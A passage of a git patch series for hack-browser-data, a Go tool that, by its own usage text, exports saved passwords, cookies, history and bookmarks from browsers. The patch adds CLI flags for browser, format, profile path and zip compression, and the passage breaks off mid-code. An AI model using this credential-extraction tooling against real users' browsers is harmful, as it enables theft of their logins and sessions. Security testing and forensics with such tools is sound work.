-google.golang.org/appengine v1.6.2/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
-google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
-google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
-google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
-google.golang.org/genproto v0.0.0-20170818010345-ee236bd376b0/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
-google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
-google.golang.org/genproto v0.0.0-20181107211654-5fc9ac540362/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
-google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
-google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
-google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
-google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
-google.golang.org/genproto v0.0.0-20190508193815-b515fa19cec8/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
-google.golang.org/genproto v0.0.0-20190530194941-fb225487d101/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s=
-google.golang.org/genproto v0.0.0-20190620144150-6af8c5fc6601/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s=
-google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
-google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
-google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
-google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
-google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
-google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
-google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
-google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
-google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
-google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA=
-google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
-google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
-google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
-google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
-google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
-google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
-google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
-google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
-google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
-google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
-google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=
-google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
-google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
-google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20210126160654-44e461bb6506/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20210331142528-b7513248f0ba/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A=
-google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A=
-google.golang.org/genproto v0.0.0-20210413151531-c14fb6ef47c3/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
-google.golang.org/genproto v0.0.0-20210427215850-f767ed18ee4d/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
-google.golang.org/genproto v0.0.0-20210429181445-86c259c2b4ab/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
-google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
-google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=
-google.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=
-google.golang.org/genproto v0.0.0-20220118154757-00ab72f36ad5/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=
-google.golang.org/grpc v1.8.0/go.mod h1:yo6s7OP7yaDglbqo1J04qKzAhqBH6lvTonzMVmEdcZw=
-google.golang.org/grpc v1.17.0/go.mod h1:6QZJwpn2B+Zp71q/5VxRsJ6NXXVCE5NRUHRo+f3cWCs=
-google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
-google.golang.org/grpc v1.20.0/go.mod h1:chYK+tFQF0nDUGJgXMSgLCQk3phJEuONr2DCgLDdAQM=
-google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
-google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
-google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
-google.golang.org/grpc v1.22.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
-google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
-google.golang.org/grpc v1.23.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
-google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
-google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
-google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
-google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
-google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=
-google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
-google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
-google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
-google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
-google.golang.org/grpc v1.32.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
-google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=
-google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=
-google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8=
-google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
-google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
-google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
-google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=
-google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=
-google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=
-google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34=
-google.golang.org/grpc v1.43.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU=
-google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw=
-google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
-google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
-google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
-google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
-google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
-google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
-google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
-google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
-google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
-google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
-google.golang.org/protobuf v1.25.1-0.20200805231151-a709e31e5d12/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
-google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
-google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
-google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
-gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
-gopkg.in/cheggaaa/pb.v1 v1.0.25/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw=
-gopkg.in/cheggaaa/pb.v1 v1.0.28/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw=
-gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
-gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
-gopkg.in/gcfg.v1 v1.2.3/go.mod h1:yesOnuUOFQAhST5vPY4nbZsb/huCgGGXlipJsBn0b3o=
-gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
-gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
-gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k=
-gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
-gopkg.in/square/go-jose.v2 v2.5.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
-gopkg.in/square/go-jose.v2 v2.6.0/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
-gopkg.in/src-d/go-billy.v4 v4.3.2/go.mod h1:nDjArDMp+XMs1aFAESLRjfGSgfvoYN0hDfzEk0GjC98=
-gopkg.in/src-d/go-git-fixtures.v3 v3.5.0/go.mod h1:dLBcvytrw/TYZsNTWCnkNF2DSIlzWYqTe3rJR56Ac7g=
-gopkg.in/src-d/go-git.v4 v4.13.1/go.mod h1:nx5NYcxdKxq5fpltdHnPa2Exj4Sx0EclMWZQbYDu2z8=
-gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
-gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI=
-gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
-gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.2.7/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
-honnef.co/go/tools v0.0.0-20180728063816-88497007e858/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
-honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
-honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
-howett.net/plist v0.0.0-20181124034731-591f970eefbb/go.mod h1:vMygbs4qMhSZSc4lCUl2OEE+rDiIIJAIdR4m7MiMcm0=
-pack.ag/amqp v0.11.2/go.mod h1:4/cbmt4EJXSKlG6LCfWHoqmN0uFdy5i/+YFz+fTfhV4=
-rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
-rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
-rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=
-sigs.k8s.io/yaml v1.1.0/go.mod h1:UJmg0vDUVViEyp3mgSv9WPwZCDxu4rQW1olrI1uml+o=
-sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc=
-software.sslmate.com/src/go-pkcs12 v0.0.0-20201103104416-57fc603b7f52/go.mod h1:/xvNRWUqm0+/ZMiF4EX00vrSCMsE4/NHb+Pt3freEeQ=
-sourcegraph.com/sourcegraph/appdash v0.0.0-20190731080439-ebfcffb1b5c0/go.mod h1:hI742Nqp5OhwiqlzhgfbWU4mW4yO10fP+LoT9WOswdU=
From 9cd2f61f1b14645879b6c44fb2906ca50f0c855c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Tue, 12 Apr 2022 18:23:02 +0800
Subject: [PATCH 23/33] feat: add cli options
---
cmd/hack-browser-data/main.go | 172 +++++++++++--------------------
internal/browingdata/bookmark.go | 6 +-
internal/browingdata/cookie.go | 4 +-
internal/browingdata/password.go | 4 +-
internal/browser/browser.go | 4 +-
5 files changed, 70 insertions(+), 120 deletions(-)
diff --git a/cmd/hack-browser-data/main.go b/cmd/hack-browser-data/main.go
index 0024368..95377ee 100644
--- a/cmd/hack-browser-data/main.go
+++ b/cmd/hack-browser-data/main.go
@@ -3,10 +3,14 @@ package main
import (
"fmt"
"os"
+ "strings"
"hack-browser-data/internal/browser"
"hack-browser-data/internal/log"
"hack-browser-data/internal/outputter"
+ "hack-browser-data/internal/utils"
+
+ "github.com/urfave/cli/v2"
)
var (
@@ -23,122 +27,62 @@ func main() {
}
func Execute() {
- browsers := browser.PickBrowser("firefox")
- log.InitLog("debug")
- filetype := "json"
- dir := "results"
- // dir := "result"
- output := outputter.New(filetype)
- var file *os.File
- fmt.Println("browser number:", len(browsers))
- for _, b := range browsers {
- browsingData, err := b.GetBrowsingData()
- if err != nil {
- panic(err)
- }
- for _, source := range browsingData.Sources {
- filename := fmt.Sprintf("%s_%s.%s", b.Name(), source.Name(), filetype)
- file, err = output.CreateFile(dir, filename)
- err = output.Write(source, file)
+ app := &cli.App{
+ Name: "hack-browser-data",
+ Usage: "Export passwords/cookies/history/bookmarks from browser",
+ UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all browingdata(password/cookie/history/bookmark) from chrome",
+ Version: "0.4.0",
+ Flags: []cli.Flag{
+ &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
+ &cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
+ &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(browser.ListBrowser(), "|")},
+ &cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
+ &cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
+ &cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &customProfilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
+ },
+ HideHelpCommand: true,
+ Action: func(c *cli.Context) error {
+ var (
+ browsers []browser.Browser
+ err error
+ )
+ if verbose {
+ log.InitLog("debug")
+ } else {
+ log.InitLog("error")
+ }
+ browsers, err = browser.PickBrowser(browserName)
if err != nil {
log.Error(err)
}
- }
+ output := outputter.New(outputFormat)
+
+ for _, b := range browsers {
+ data, err := b.GetBrowsingData()
+ if err != nil {
+ log.Error(err)
+ }
+ var f *os.File
+ for _, source := range data.Sources {
+ filename := fmt.Sprintf("%s_%s.%s", b.Name(), source.Name(), outputFormat)
+ f, err = output.CreateFile(exportDir, filename)
+ err = output.Write(source, f)
+ if err != nil {
+ log.Error(err)
+ }
+ }
+ }
+ if compress {
+ err = utils.Compress(exportDir)
+ if err != nil {
+ log.Error(err)
+ }
+ }
+ return nil
+ },
+ }
+ err := app.Run(os.Args)
+ if err != nil {
+ log.Error(err)
}
}
-
-// func Execute() {
-// app := &cli.App{
-// Name: "hack-browser-data",
-// Usage: "Export passwords/cookies/history/bookmarks from browser",
-// UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all browingdata(password/cookie/history/bookmark) from chrome",
-// Version: "0.3.7",
-// Flags: []cli.Flag{
-// &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
-// &cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
-// &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(core.ListBrowser(), "|")},
-// &cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
-// &cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
-// &cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &customProfilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
-// },
-// HideHelpCommand: true,
-// Action: func(c *cli.Context) error {
-// var (
-// browsers []core.Browser
-// err error
-// )
-// if verbose {
-// log.InitLog("debug")
-// } else {
-// log.InitLog("error")
-// }
-// if customProfilePath != "" {
-// browsers, err = core.PickCustomBrowser(browserName, customProfilePath, customKeyPath)
-// if err != nil {
-// log.Error(err)
-// }
-// } else {
-// // default select all browsers
-// browsers, err = core.PickBrowser(browserName)
-// if err != nil {
-// log.Error(err)
-// }
-// }
-// err = utils.MakeDir(exportDir)
-// if err != nil {
-// log.Error(err)
-// }
-// for _, browser := range browsers {
-// err := browser.InitSecretKey()
-// if err != nil {
-// log.Error(err)
-// }
-// // default select all items
-// // you can get single item with browser.GetItem(itemName)
-// items, err := browser.GetAllItems()
-// if err != nil {
-// log.Error(err)
-// }
-// name := browser.Name()
-// key := browser.GetSecretKey()
-// for _, item := range items {
-// err := item.CopyDB()
-// if err != nil {
-// log.Error(err)
-// }
-// switch browser.(type) {
-// case *core.Chromium:
-// err := item.ChromeParse(key)
-// if err != nil {
-// log.Error(err)
-// }
-// case *core.Firefox:
-// err := item.FirefoxParse()
-// if err != nil {
-// log.Error(err)
-// }
-// }
-// err = item.Release()
-// if err != nil {
